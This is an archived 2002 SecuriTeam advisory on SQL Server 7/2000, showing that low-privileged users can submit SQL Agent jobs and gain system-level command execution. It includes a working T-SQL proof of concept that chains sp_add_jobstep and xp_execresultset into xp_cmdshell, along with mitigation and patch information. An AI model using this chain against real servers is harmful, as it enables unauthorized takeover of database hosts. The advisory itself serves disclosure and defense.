

[NT] Microsoft SQL Server Agent Jobs Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0059.html>

From: support@securiteam.com

Date: 08/19/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 19 Aug 2002 14:14:01 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Microsoft SQL Server Agent Jobs Vulnerabilities

SUMMARY

With Microsoft SQL Server 2000 and 7 comes a "helper" service, the SQL Server agent. The Agent is responsible for restarting the database service if it stops for some reason, has a role to play in replication, and runs scheduled jobs. As the public role can submit jobs to the SQL Agent to be executed, a low privileged user may use this to gain control of the server.

DETAILS

Vulnerable systems:

- * Microsoft SQL Server 2000
- * Microsoft SQL Server 7

The 'Public' role is allowed to create and submit jobs to be executed by the SQL Agent. To do this one would use a combination of several stored procedures in the msdb database such as `sp_add_job` and `sp_add_job_step`, etc. As the SQL Agent is considerably more privileged than a simple login, often running in the security context of the local system account, it must ensure that, when a T-SQL job is submitted to it, it cannot be abused. To defend against this is performs a

Securiteam: [NT] Microsoft SQL Server Agent Jobs Vulnerabilities

SETUSER N'guest' WITH NORESET

This effectively drops its high level of privileges so no low privileged login can submit something like

```
exec master..xp_cmdshell 'dir'
```

However, this can be trivially bypassed by causing the SQL Agent to reconnect after it has dropped its privileges. They can use one of the vulnerable extended stored procedures discussed in the <<http://www.securiteam.com/windowsntfocus/5LP0E2K80K.html>> Microsoft SQL Server Extended Stored Procedure Privilege Escalation Vulnerabilities.

Proof of Concept:

- GetSystemOnSQL
- For this to work the SQL Agent should be running.
- Further, you'll need to change SERVER_NAME in
- sp_add_jobserver to the SQL Server of your choice

```
--  
-- David Litchfield  
-- (david@ngssoftware.com)  
-- 18th July 2002
```

USE msdb

```
EXEC sp_add_job @job_name = 'GetSystemOnSQL', @enabled = 1, @description = 'This will give a low privileged user access to xp_cmdshell', @delete_level = 1
```

```
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL', @step_name = 'Exec my sql', @subsystem = 'TSQL', @command = 'exec master..xp_execresultset N"select ""exec master..xp_cmdshell "dir > c:\agent-job-results.txt""",N"Master"'
```

```
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', @server_name = 'SERVER_NAME'
```

```
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
```

Fix Information: NGSSoftware informed Microsoft of these issues in July. To prevent low privileged users from submitting jobs one should disallow public access to the Job related stored procedures in the MSDB database particularly

```
sp_add_job sp_add_jobstep sp_add_jobserver sp_start_job
```

Further Microsoft has released a patch that fixes several extended stored procedure vulnerabilities that can be used in conjunction with a job to gain extra privileges.

Please see <Cumulative Patch for SQL Server>

<http://www.securiteam.com/windowsntfocus/5FP0FOA7PM.html> for more details.

ADDITIONAL INFORMATION

Securiteam: [NT] Microsoft SQL Server Agent Jobs Vulnerabilities

The information has been provided by <mailto:david@ngssoftware.com> David Litchfield.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[\[NT\] Microsoft SQL Server Extended Stored Procedure Privilege Escalation Vulnerabilities](#)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)